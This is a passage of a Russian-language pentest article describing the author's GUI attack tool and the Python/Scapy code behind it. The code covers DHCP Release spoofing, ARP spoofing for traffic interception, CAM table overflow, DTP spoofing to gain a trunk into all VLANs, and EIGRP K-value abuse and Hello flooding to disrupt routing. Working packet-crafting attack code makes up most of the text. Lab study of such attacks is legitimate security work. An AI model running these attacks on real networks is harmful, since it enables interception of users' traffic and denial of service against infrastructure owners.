release_packet = Ether(src=client_mac, dst=dhcp_server_mac) / \
IP(src=dhcp_release_pool[position], dst=dhcp_server_ip) / \
UDP(sport=68, dport=67) / \
BOOTP(op=1, chaddr=mac_to_bytes(client_mac), ciaddr=dhcp_release_pool[position], xid=xid) / \
DHCP(options=[("message-type", "release"), ("client_id", b'\x01' + bytes.fromhex(client_mac.replace(':', ''))), ("server_id", dhcp_server_ip), "end"])
sendp(release_packet, count=1)
# Для Release (заголовок BOOTP) opcode указывается, как в Request (op=1)

Цикл for прой­дет­ся по каж­дому IP-адре­су из спис­ка dhcp_release_pool, который мы сфор­мирова­ли на осно­ве началь­ного и конеч­ного IP-адре­сов, ука­зан­ных поль­зовате­лем.

Интерфейс атаки DHCP Release Spoofing
Ин­терфейс ата­ки DHCP Release Spoofing

Сей­час я покажу, как работа­ет эта ата­ка в Salmonella. Спер­ва про­верим таб­лицу DHCP на моем роуте­ре Cisco.

Все­го занято три адре­са. Теперь запус­тим ата­ку, вве­дя в поле Start IP 192.168.1.2, в поле End IP — 192.168.1.140, а в поле DHCP server IP ука­жем 192.168.1.1. Пос­мотрим на тра­фик в Wireshark.

Тут вид­но, что мы опра­шива­ем каж­дый хост из диапа­зона через ARP, и если мы получа­ем ответ, то от име­ни это­го хос­та отправ­ляем сооб­щение DHCP RELEASE.

Пос­ле запус­ка ниж­няя часть интерфей­са (scrollable frame) начина­ет запол­нять­ся по мере отра­бот­ки кода.

Порядковый номер, IP и MAC клиентов, статус
По­ряд­ковый номер, IP и MAC кли­ентов, ста­тус

Ста­тус может быть Successfully (ког­да мы получи­ли от кли­ента MAC-адрес и отпра­вили от его име­ни сооб­щение DHCP RELEASE) и Not answer (ког­да кли­ент не отве­чает на ARP Request и, соот­ветс­твен­но, сооб­щение DHCP RELEASE не отправ­лено).

Кста­ти, на скрин­шоте выше говорит­ся, что было отправ­лено четыре пакета DHCP RELEASE? — не обра­щай вни­мания, код нашел чет­вертый айпиш­ник на моем ком­мутато­ре, на котором он задан вруч­ную.

Те­перь сно­ва смот­рим на таб­лицу DHCP на роуте­ре.

Ву­аля! Все IP-адре­са, которы­ми в нас­тоящий момент поль­зуют­ся устрой­ства, осво­бож­дены и могут быть зарезер­вирова­ны через ата­ку DHCP Starvation, что­бы в даль­нейшем вынудить кли­ентов исполь­зовать наш под­дель­ный сер­вер Rogue DHCP.

ARP

Нем­ного рас­сла­бим­ся и вкрат­це погово­рим про более прос­той и более лег­кий в пла­не пен­теста про­токол — ARP. А кон­крет­но про ата­ку ARP Spoofing. Думаю, нет смыс­ла под­робно о ней рас­ска­зывать, да и рас­ска­зывать там осо­бо нечего: зло­умыш­ленник, манипу­лируя все­го одним сооб­щени­ем ARP, пред­став­ляет­ся шлю­зом по умол­чанию и таким обра­зом может перех­ватывать тра­фик.

Пос­мотрим на интерфейс ARP Spoofing, там все прос­то и минима­лис­тично.

Вво­дим IP-адре­са жер­твы и шлю­за по умол­чанию, жмем Start.

По­ля Victim’s MAC address и Gateway MAC address запол­няют­ся сами и нуж­ны прос­то для информа­тив­ности.

Как реали­зовать ARP Spoofing? Получа­ем ввод от поль­зовате­ля, переда­ем в перемен­ные victim_ip и gateway_ip и отправ­ляем ARP Request, что­бы узнать MAC-адрес жер­твы:

victim_ip = entry_arp_spoofing_victim_ip.get()
gateway_ip = entry_arp_spoofing_gateway_ip.get()
arp_request_for_victim = Ether(dst="ff:ff:ff:ff:ff:ff") / \
ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=victim_ip)
result = srp1(arp_request_for_victim, timeout=2, verbose=False)
if result:
for received in result:
if received.haslayer(ARP) and received[ARP].op == 2:
victim_mac = received.hwsrc

Уз­нали MAC-адрес и записа­ли в перемен­ную victim_mac. То же дела­ем и для MAC-адре­са шлю­за:

arp_request_for_gateway = Ether(dst="ff:ff:ff:ff:ff:ff") / \
ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip)
result = srp1(arp_request_for_gateway, timeout=2, verbose=False)
if result:
for received in result:
if received.haslayer(ARP) and received[ARP].op == 2:
gateway_mac = received.hwsrc

Те­перь мы зна­ем каналь­ные адре­са и того и дру­гого и можем отпра­вить ARP Response (ответ без зап­роса):

garp_packet = Ether(dst=victim_mac) / \
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac)
sendp(garp_packet)

Пос­ле отправ­ки юни­кас­тового ARP Response жер­тва в сво­ей ARP-таб­лице изме­нит запись для шлю­за по умол­чанию, где ука­жет MAC-адрес ата­кующе­го. Пери­оди­чес­ки жер­тва так­же через юни­каст будет опра­шивать ата­кующе­го с целью узнать, не поменял­ся ли у него MAC-адрес, и мы, конеч­но же, дол­жны отве­чать:

while True:
def analyze(packet):
if packet.haslayer(ARP):
if packet[ARP].op == 1 and packet[ARP].pdst == gateway_ip and packet[ARP].hwsrc == victim_mac:
arp_response = Ether(dst=victim_mac) / \
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac)
sendp(arp_response)
sniff(filter="arp", prn=analyze, count=1)

За­цик­лива­ем зах­ват ARP-пакетов и про­веря­ем каж­дый. Если это зап­рос от нашей жер­твы, то отве­чаем ей ARP REPLY.

Та­кой метод «воп­рос — ответ» при ARP-спу­фин­ге хорош тем, что мы не спа­мим необос­нован­ными отве­тами ARP REPLY в сто­рону жер­твы.

ARP-таблица жертвы до атаки
ARP-таб­лица жер­твы до ата­ки
После атаки
Пос­ле ата­ки

CAM Table Overflow

Ата­ка CAM (Content Addressable Memory) Table Overflow, или перепол­нение таб­лицы ком­мутации, при­мени­ма толь­ко к ком­мутато­рам, которые фор­миру­ют и исполь­зуют для фор­вардин­га кад­ров таб­лицу MAC-адре­сов.

Таб­лица выг­лядит при­мер­но так.

Port MAC address
1 11-22-33-44-55-66
2 77-88-99-00-AA-BB

Что­бы понять суть ата­ки, нуж­но нем­ного разоб­рать­ся с таб­лицей MAC-адре­сов. Заранее хочу отме­тить, что тер­мины «CAM-таб­лица», «MAC-таб­лица» и «таб­лица MAC-адре­сов» — синони­мы.

Итак, эту таб­лицу ведет ком­мутатор, ког­да с его пор­та отправ­ляет­ся кадр или пакет. Для соот­ветс­тву­юще­го пор­та в таб­лице он добав­ляет зна­чение MAC-адре­са источни­ка кад­ра или пакета, который покинул этот порт.

К одно­му пор­ту ком­мутато­ра может быть под­клю­чено нес­коль­ко устрой­ств (нап­ример, через еще один ком­мутатор). Соот­ветс­твен­но, в таб­лице MAC-адре­сов нап­ротив одно­го пор­та могут быть записа­ны нес­коль­ко MAC-адре­сов.

В мире нет ничего бес­конеч­ного, и таб­лица MAC-адре­сов не исклю­чение. У раз­ных моделей ком­мутато­ров раз­мер таб­лицы может отли­чать­ся. Быва­ют таб­лицы в 1000 записей, а быва­ют и в 64 000 записей.

Да­вай пос­мотрим объ­ем MAC-таб­лицы на моем ком­мутато­ре Cisco 2960.

Поч­ти 7400 записей. На самом деле на этом ком­мутато­ре допус­тимый объ­ем сос­тавля­ет 8000 записей. Но это не так важ­но, идем даль­ше.

Иног­да таб­лица MAC-адре­сов перепол­няет­ся. Тог­да ком­мутатор перес­тает исполь­зовать ее для мар­шру­тиза­ции пакетов и вмес­то это­го отправ­ляет их со всех пор­тов. Такая ситу­ация соз­дает иде­аль­ные усло­вия для про­веде­ния MITM-атак.

Суть ата­ки CAM Table Overflow зак­люча­ется как раз в зло­наме­рен­ном перепол­нении MAC-таб­лицы ком­мутато­ра. Желатель­но, что­бы это была лавин­ная рас­сылка, ведь таб­лицы MAC-адре­сов сов­ремен­ных ком­мутато­ров не такие уж и малень­кие. При этом не важ­но, какие дан­ные ты отправ­ляешь в сеть, — в таб­лицу MAC-адре­сов все рав­но попадет MAC-адрес тво­его устрой­ства.

И тут я задал­ся воп­росом: какие имен­но пакеты нуж­но сфор­мировать для их пос­леду­ющей отправ­ки, что­бы перепол­нить таб­лицу? Я сра­зу отбро­сил те, которые исполь­зуют broadcast и multicast, так как от пакетов с такой рас­сылкой есть про­тиво­ядие — Storm Control. Зна­чит, исполь­зуем unicast. Я решил отправ­лять TCP-пакеты, которые на фоне дру­гого поль­зователь­ско­го тра­фика будут выг­лядеть незамет­но.

Код вышел сов­сем неболь­шой:

while True:
src_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
dst_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
src_mac = RandMAC()
dst_mac = RandMAC()
fake_packet = Ether(src=src_mac, dst=dst_mac) / IP(src=src_ip, dst=dst_ip) / TCP(sport=RandShort(), dport=80)
sendp(fake_packet, count=1)

Все прос­то: генери­руем IP-адре­са источни­ка и наз­начения, MAC-адре­са источни­ка и наз­начения, соз­даем пакет и отправ­ляем его. Этот про­цесс зацик­лива­ем.

Те­перь запус­тим эту ата­ку и пос­мотрим, что будет. Интерфейс — из раз­ряда «пока так».

Жмем Start, и все работает
Жмем Start, и все работа­ет
Как это выглядит в Wireshark
Как это выг­лядит в Wireshark

Те­перь про­верим резуль­тат ата­ки, заг­лянув в MAC-таб­лицу ком­мутато­ра.

Ре­зуль­тат положи­тель­ный! Ути­лита работа­ла все­го око­ло минуты, и таб­лица MAC-адре­сов перепол­нена.

DTP Spoofing

DTP (Dynamic Trunking Protocol) — фир­менный про­токол Cisco, исполь­зуемый для авто­мати­чес­кого сог­ласова­ния пор­тов ком­мутато­ров и нас­трой­ки тран­кового режима. Давай для начала раз­берем, какие вооб­ще быва­ют режимы DTP на ком­мутато­рах Cisco.

  1. Access (режим дос­тупа) — зада­ется вруч­ную адми­нис­тра­тором, переда­ет толь­ко нетеги­рован­ный тра­фик и обыч­но исполь­зует­ся на пор­тах, под­клю­чен­ных к конеч­ным устрой­ствам (кли­ентам). Руч­ная уста­нов­ка режима Access исклю­чает его переход в режим Trunk.
  2. Trunk, как и режим Access, уста­нав­лива­ется вруч­ную, но переда­ет уже тегиро­ван­ный тра­фик и исполь­зует­ся в соеди­нени­ях меж­ду ком­мутато­рами. Задан­ный вруч­ную режим Trunk никог­да не перей­дет в режим Access.
  3. Dynamic Auto — режим, уста­нов­ленный по умол­чанию на всех пор­тах ком­мутато­ра. Про­ще говоря, он авто­мати­чес­ки подс­тра­ивает­ся под нас­трой­ки сосед­него пор­та: он при­нима­ет режим Trunk или Access в зависи­мос­ти от кон­фигура­ции соседа.
  4. Dynamic Desirable — режим, который активно пыта­ется догово­рить­ся с сосед­ним пор­том о нас­трой­ке Trunk. Одна­ко, если сосед­ний порт нас­тро­ен как Access, он сог­ласит­ся работать в режиме Access.

Точ­но опре­делить поведе­ние сосед­них пор­тов мож­но при помощи таб­лицы.

Dynamic Auto Dynamic Desirable Trunk Access
Dynamic Auto Access Trunk Trunk Access
Dynamic Desirable Trunk Trunk Trunk Access
Trunk Trunk Trunk Trunk No connection
Access Access Access No connection Access

Trunk — это соеди­нение меж­ду дву­мя ком­мутато­рами или меж­ду ком­мутато­ром и мар­шру­тиза­тором, которое переда­ет тра­фик из всех VLAN. Нап­ример, если ты под­клю­чен к сети VLAN 10, то име­ешь дос­туп толь­ко к этой сети. А если под­клю­чен к тран­ковому каналу, у тебя есть дос­туп ко всем VLAN. Под дос­тупом я имею в виду воз­можность вза­имо­дей­ство­вать с устрой­ства­ми, прос­лушивать тра­фик и выпол­нять дру­гие дей­ствия.

По­луча­ется, что, под­клю­чив­шись к тран­ковому каналу, ты будешь иметь дос­туп ко всем VLAN, тог­да как по фак­ту у тебя его быть не дол­жно.

Ком­мутато­ры сог­ласовы­вают пор­ты, обме­нива­ясь сооб­щени­ями DTP, которые по умол­чанию отправ­ляют­ся каж­дые 30 секунд.

По умол­чанию на всех пор­тах ком­мутато­ра вклю­чен режим Dynamic Auto. Это зна­чит, что если на вто­ром ком­мутато­ре вклю­чен такой же режим, то оба пор­та будут работать в режиме Access. Но что, если мы при­кинем­ся ком­мутато­ром и уго­ворим соседа уста­новить меж­ду нами транк? Тог­да мы получим дос­туп к тран­ковому каналу и смо­жем вза­имо­дей­ство­вать со все­ми сетями VLAN. Так и сде­лаем!

Но спер­ва раз­берем­ся с некото­рыми поняти­ями. На ком­мутато­ре, порт Fa0/48 которо­го мы пла­ниру­ем обма­нуть и перевес­ти в режим Trunk, выпол­ним коман­ду sh int f0/48 switchport.

Об­рати вни­мание на строч­ки Administrative Mode: dynamic auto и Operational Mode: static access. Пер­вая строч­ка говорит о том, что адми­нис­тра­тор ука­зал режим dynamic auto. Вто­рая строч­ка говорит, что по фак­ту порт работа­ет в режиме static access. Запом­нили эти сос­тояния.

То же самое мы можем уви­деть в Wireshark.

Кста­ти, на скрин­шоте есть поле Domain: local_domain — это имя домена, которое берет­ся из кон­фигура­ции про­токо­ла VTP.

Те­перь для чис­тоты экспе­римен­та про­верим, есть ли у нас активные тран­ковые пор­ты.

Та­ковых нет.

Для начала сфор­миру­ем цис­ков­ский MAC-адрес, из‑под которо­го мы будем отправ­лять сооб­щения DTP:

cisco_mac = "00:25:2e:"
mac = [random.randint(0x00, 0x7f), random.randint(0x00, 0x7f), random.randint(0x00, 0x7f)]
mac_for_dtp = ':'.join(map(lambda x: '%02x' % x, mac))
mac_for_dtp = cisco_mac + mac_for_dtp

Это нуж­но, что­бы ком­мутатор нор­маль­но вос­при­нимал наши сооб­щения DTP. Про фор­мирова­ние таких «пра­виль­ных» MAC-адре­сов я уже рас­ска­зывал в раз­деле про DHCP.

Те­перь сфор­миру­ем DTP-кадр:

dtp_packet = (Dot3(src=mac_for_dtp, dst="01:00:0c:cc:cc:cc") /
LLC(dsap=0xaa, ssap=0xaa) / SNAP(OUI=0x0c, code=0x2004) /
DTP(tlvlist=[DTPDomain(), DTPStatus(status=b'\x03'), DTPType(dtptype=b'\xa5'), DTPNeighbor(neighbor=mac_for_dtp)]))

Со­обще­ния DTP отправ­ляют­ся на цис­ков­ский муль­тикас­товый MAC-адрес Cisco 01:00:0c:cc:cc:cc. На этот же адрес идет и тра­фик про­токо­лов CDP, VTP и PAgP. Для их раз­деления исполь­зует­ся поле SNAP «про­токол». Для CDP в нем будет зна­чение 0x2000, для VTP — 0x2003, для DTP — 0x2004. Так­же видим сле­дующие заголов­ки:

  1. Под­заголо­вок LLC — это «вер­хний» подуро­вень каналь­ного уров­ня, содер­жащий SSAP/DSAP-коды 0xAA, которые ука­зыва­ют, что далее идет SNAP-вло­жение.
  2. Под­заголо­вок SNAP (Subnetwork Access Protocol) ука­зыва­ет, что даль­ше сле­дует не заголо­вок сетево­го уров­ня, а раз­деление на суб­про­токо­лы каналь­ного уров­ня. В дан­ном слу­чае SNAP сооб­щает, что вло­жен про­токол, иден­тифици­руемый как Cisco-про­токол DTP (OUI=0x0c, code=0x2004).
  3. DTPStatus(status=b'\x03') — это обоз­начение режима Dynamic Desirable (оно нуж­но, что­бы зас­тавить сосед­ний порт сог­ласовать транк).
  4. DTPType(dtptype=b'\xa5') — тут мы ука­зыва­ем, что будем исполь­зовать инкапсу­ляцию 802.1Q.

Те­перь важ­ный момент: мы не отправ­ляем один DTP-пакет, а зацик­лива­ем их отправ­ку. Это нуж­но, потому что динами­чес­ки сог­ласован­ный транк име­ет огра­ничен­ное вре­мя жиз­ни, по умол­чанию пять минут. Поэто­му мы будем регуляр­но отправ­лять DTP-пакеты, что­бы под­держи­вать сос­тояние тран­ка и пре­дот­вра­тить его переход обратно в режим Access в самый непод­ходящий момент.

sendp(dtp_packet, loop=1, inter=5)

Опять смот­рим Wireshark.

Вид­но, что пос­ле нашего DTP-пакета сосед­ний ком­мутатор отпра­вил свой DTP-пакет, где Operational Mode уже выс­тавлен в Trunk. Про­верим это на самом ком­мутато­ре.

Те­перь порт Fa0/48 сог­ласовал режим Trunk, хотя Administrative Mode все так же выс­тавлен как Dynamic Auto. Напос­ледок про­верим активные пор­ты Trunk на ком­мутато­ре.

EIGRP

EIGRP Poisoning

EIGRP Poisoning, или отравле­ние EIGRP, — это ата­ка, при которой роуте­рам EIGRP отправ­ляют­ся лож­ные мар­шру­ты, что­бы «заг­рязнить» их таб­лицы мар­шру­тиза­ции. Эта ата­ка может при­вес­ти к таким пос­ледс­тви­ям:

Про EIGRP, его сооб­щения, струк­туру заголов­ка и отравле­ние таб­лицы мар­шру­тиза­ции я уже писал в статье «EIGRP Scam». Пов­торять­ся не буду, смысл ата­ки, да и код оста­лись без изме­нений. Покажу лишь обновлен­ный гра­фичес­кий интерфейс.

Все прак­тичес­ки то же самое: самый левый фрейм — парамет­ры най­ден­ного мар­шру­тиза­тора EIGRP, которые мы будем исполь­зовать для уста­нов­ления соседс­тва и отправ­ки обновле­ний, в цен­траль­ном фрей­ме мы фор­миру­ем EIGRP-анонс.

Пра­вый фрейм — моя новая задум­ка. Пос­ле каж­дого нажатия на кноп­ку Update мы отправ­ляем в сеть сооб­щение EIGRP Update. Так вот, что­бы мож­но было убе­дить­ся, что сосед­ний роутер получил это обновле­ние, я и добавил этот фрейм. Если сосед­ний роутер в ответ отпра­вил пакет под­твержде­ния ACK, то все в поряд­ке, зна­чит, он добавил наш мар­шрут к себе в таб­лицу. В пра­вом фрей­ме тог­да появит­ся запись с отправ­ленным мар­шру­том и ста­тусом OK. Если пакет под­твержде­ния не при­шел, зна­чит, ста­тус будет ERR.

Злоупотребление K-значениями EIGRP

До недав­него вре­мени я не знал об этой ата­ке на EIGRP, воз­можно, и ты тоже не в кур­се.

Нач­нем с теории. K-коэф­фици­енты (или K-зна­чения) в EIGRP исполь­зуют­ся для вычис­ления мет­рик мар­шру­тов. EIGRP по слож­ной фор­муле опре­деля­ет сто­имость мар­шру­та на осно­ве нес­коль­ких парамет­ров, таких как ско­рость соеди­нения (K1), наг­рузка (K2), задер­жка (K3), надеж­ность (K4, K5) и MTU.

Для уста­нов­ления и под­держа­ния соседс­тва у мар­шру­тиза­торов EIGRP дол­жны быть оди­нако­вые зна­чения K-коэф­фици­ентов. То есть если в момен­те K-зна­чения поменя­ются, то соседс­тво меж­ду роуте­рами прек­ратит­ся и мар­шру­тиза­ция меж­ду ними будет наруше­на. Теперь воп­рос: что мы для это­го можем сде­лать? Очень прос­то! Мы можем отправ­лять пакеты Hello с неп­равиль­ными K-коэф­фици­ента­ми от име­ни легитим­ных роуте­ров, тог­да соседс­тво меж­ду ними будет наруше­но.

Од­нако есть одно огра­ниче­ние: мар­шру­тиза­торы дол­жны быть под­клю­чены к тому же ком­мутато­ру, что и зло­умыш­ленник. Если же мар­шру­тиза­торы соеди­нены нап­рямую, зло­умыш­ленник дол­жен каким‑то обра­зом вкли­нить­ся меж­ду ними (нап­ример, с помощью SharkTap Gigabit Network Sniffer, хотя это уже мои пред­положе­ния).

До­пус­тим, роуте­ры соеди­нены друг с дру­гом через ком­мутато­ры. Запус­каем ата­ку EIGRP Abusing K-values.

Вот что про­исхо­дит за кад­ром:

eigrp_routers = {}
def packet_callback(packet):
if packet.haslayer(EIGRP):
src_mac = packet[Ether].src
src_ip = packet[IP].src
asn = packet[EIGRP].asn
if src_mac in [router["MAC"] for router in eigrp_routers.values()]:
pass
else:
eigrp_routers[f"Router{router_count}"] = {"MAC": src_mac, "IP": src_ip, "AS": asn}
sniff(filter="proto 88", prn=packet_callback, timeout=15)

Сна­чала соз­даем пус­той сло­варь eigrp_routers. Затем в течение 15 секунд прос­лушива­ем EIGRP-пакеты в сети. Если такие пакеты обна­руже­ны, добав­ляем в сло­варь соот­ветс­тву­ющие связ­ки MAC- и IP-адре­сов, а так­же номер авто­ном­ной сис­темы. Это поз­волит нам поз­же отправ­лять от име­ни этих роуте­ров некор­рек­тные Hello-пакеты.

Даль­ше дело за малым — мы прос­то запус­каем цикл, в каж­дой ите­рации которо­го от име­ни каж­дого роуте­ра отправ­ляем по одно­му под­дель­ному пакету Hello:

while True:
for router in eigrp_routers:
mac_address = eigrp_routers[router]['MAC']
ip_address = eigrp_routers[router]['IP']
asn = eigrp_routers[router]['AS']
fake_hello_packet = Ether(src=mac_address, dst="01:00:5e:00:00:0a") / \
IP(src=ip_address, dst="224.0.0.10", ttl=2) / \
EIGRP(opcode=5, asn=asn) / \
EIGRPParam(k1=random.randint(0, 1), k2=random.randint(0, 1), k3=random.randint(0, 1), k4=random.randint(0, 1), k5=random.randint(0, 1)) / \
EIGRPSwVer()
sendp(fake_hello_packet)
time.sleep(2)

Не нуж­но устра­ивать лавин­ную рас­сылку Hello-пакетов, дос­таточ­но отправ­лять их чаще, чем это дела­ют сами роуте­ры. По умол­чанию они отправ­ляют Hello-пакеты каж­дые 5 секунд. Поэто­му пос­ле отправ­ки одно­го лож­ного пакета Hello от име­ни каж­дого роуте­ра дела­ем паузу в 2 секун­ды, пос­ле чего пов­торя­ем ите­рацию. Кста­ти, я решил отправ­лять в пакетах Hello ран­домные K-зна­чения, так нам­ного про­ще.

Пос­мотрим, что у нас про­исхо­дит в Wireshark.

Вро­де бы ничего необыч­ного: два роуте­ра прос­то обме­нива­ются при­ветс­тви­ями, иног­да какими‑то обновле­ниями.

От­кро­ем кон­соль и поп­робу­ем пос­мотреть сос­тояние сосед…

По­годи, здесь тво­рит­ся какая‑то вак­ханалия! Вот и резуль­тат зло­упот­ребле­ния K-зна­чени­ями. Я пояс­ню, что здесь про­исхо­дит.

  1. Ро­уте­ры спо­кой­но обме­нива­лись сво­ими Hello-пакета­ми с оди­нако­выми K-коэф­фици­ента­ми.
  2. Тут приш­ли мы и от име­ни каж­дого из этих двух роуте­ров начали слать лож­ные пакеты Hello с неп­равиль­ными K-зна­чени­ями.
  3. В ито­ге роуте­ры раз­рыва­ют соседс­тво друг с дру­гом, вдо­бавок при­сылая в кон­соль логи Neighbor 192.168.1.3 is down: K-value mismatch.
  4. Од­нако они не перес­тают отправ­лять друг дру­гу свои, не под­дель­ные сооб­щения Hello и видят, что вро­де как K-коэф­фици­енты ста­ли оди­нако­вые. Тог­да они сно­ва уста­нав­лива­ют соседс­тво: Neighbor 192.168.1.3 is up: new adjacency. Но мы сно­ва спус­тя две секун­ды отправ­ляем неп­равиль­ные Hello-сооб­щения, и ситу­ация пов­торя­ется.
Тут я пытался попасть в тайминг и отобразить таблицу соседей EIGRP
Тут я пытал­ся попасть в тай­минг и отоб­разить таб­лицу соседей EIGRP

Хо­чу сде­лать вывод, что ата­ка EIGRP Abusing K-values нап­равле­на исклю­читель­но на отказ в обслу­жива­нии. При этой ата­ке мар­шру­тиза­ция меж­ду роуте­рами ста­новит­ся прак­тичес­ки невоз­можной, а ведь интервал меж­ду отправ­кой под­дель­ных пакетов Hello мож­но еще сок­ратить.

EIGRP Hello Flooding

Еще одна ата­ка на EIGRP, которую я реали­зовал в Salmonella, — EIGRP Hello Flooding. Я думаю, из наз­вания понят­но, что она будет делать, но на вся­кий слу­чай ска­жу. С помощью этой ата­ки зло­умыш­ленник смо­жет навес­ти хаос как в таб­лице соседей, так и в логах. Мы будем генери­ровать огромное количес­тво фей­ковых Hello-пакетов EIGRP, в которых MAC- и IP-адре­са источни­ка будут ран­домны­ми. Реали­зация этой ата­ки сов­сем нес­ложная.

Интерфейс EIGRP Hello Flooding
Ин­терфейс EIGRP Hello Flooding

Жмем на кноп­ку Sniff, и запус­кает­ся уже зна­комый код, который прос­лушива­ет сеть на наличие пакетов EIGRP. Основная цель — опре­делить, какие K-коэф­фици­енты исполь­зуют мар­шру­тиза­торы и какая авто­ном­ная сис­тема на них нас­тро­ена.

def analyze_packet(packet):
global target_mac, target_ip, autonomous_system, k1, k2, k3, k4, k5, hold_time
if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 5:
target_mac = packet[Ether].src
target_ip = packet[IP].src
autonomous_system = packet[EIGRP].asn
k1 = packet[EIGRPParam].k1
k2 = packet[EIGRPParam].k2
k3 = packet[EIGRPParam].k3
k4 = packet[EIGRPParam].k4
k5 = packet[EIGRPParam].k5
hold_time = packet[EIGRPParam].holdtime
sniff(filter="ip proto 88", prn=analyze_packet, count=1)

Сле­дом запус­кает­ся бес­конеч­ный цикл, который флу­дит сфор­мирован­ными нами Hello-пакета­ми EIGRP:

while True:
src_ip = target_ip.split('.')
src_ip = src_ip[0] + "." + src_ip[1] + "." + src_ip[2] + "." + str(random.randint(0, 255))
src_mac = RandMAC()
fake_hello_packet = Ether(src=src_mac, dst="01:00:5e:00:00:0a") / \
IP(src=src_ip, dst="224.0.0.10", ttl=2) / \
EIGRP(opcode=5, asn=autonomous_system) / \
EIGRPParam(k1=k1, k2=k2, k3=k3, k4=k4, k5=k5) / \
EIGRPSwVer()
sendp(fake_hello_packet)

Важ­но генери­ровать IP-адре­са из той же сети, где находит­ся интерфейс мар­шру­тиза­тора, на который будут отправ­лять­ся Hello-пакеты. MAC-адре­са при этом могут быть слу­чай­ными.

Вот, собс­твен­но, и весь код. Перед запус­ком про­верим таб­лицу соседей.

Тут все пус­то, соседей нет. Запус­каем!

Как и в слу­чае с ата­кой EIGRP Abusing K-values, в кон­соль при­ходит мно­жес­тво сооб­щений о том, что на интерфей­се G0/1 появил­ся новый сосед EIGRP.

Ко­неч­но же, пос­мотрим на таб­лицу соседей.

И да, важ­но не прек­ращать флуд пакета­ми Hello, так как каж­дый пакет отправ­ляет­ся толь­ко один раз, а через Dead Interval запись о новом соседе уда­лит­ся из таб­лицы.

Выводы

В этой статье мы с тобой рас­смот­рели, как пра­виль­но и надол­го положить легитим­ный DHCP-сер­вер на лопат­ки, отра­вили ARP-кеш, сог­ласова­ли транк с ком­мутато­ром по DTP и навели хаос в домене мар­шру­тиза­ции EIGRP. В сле­дующих матери­алах я пла­нирую реали­зовать ата­ки на дру­гие сетевые про­токо­лы и добав­лю их в свое при­ложе­ние, а так­же порабо­таю над под­дер­жкой IPv6, Wi-Fi и над дру­гими занят­ными вещами.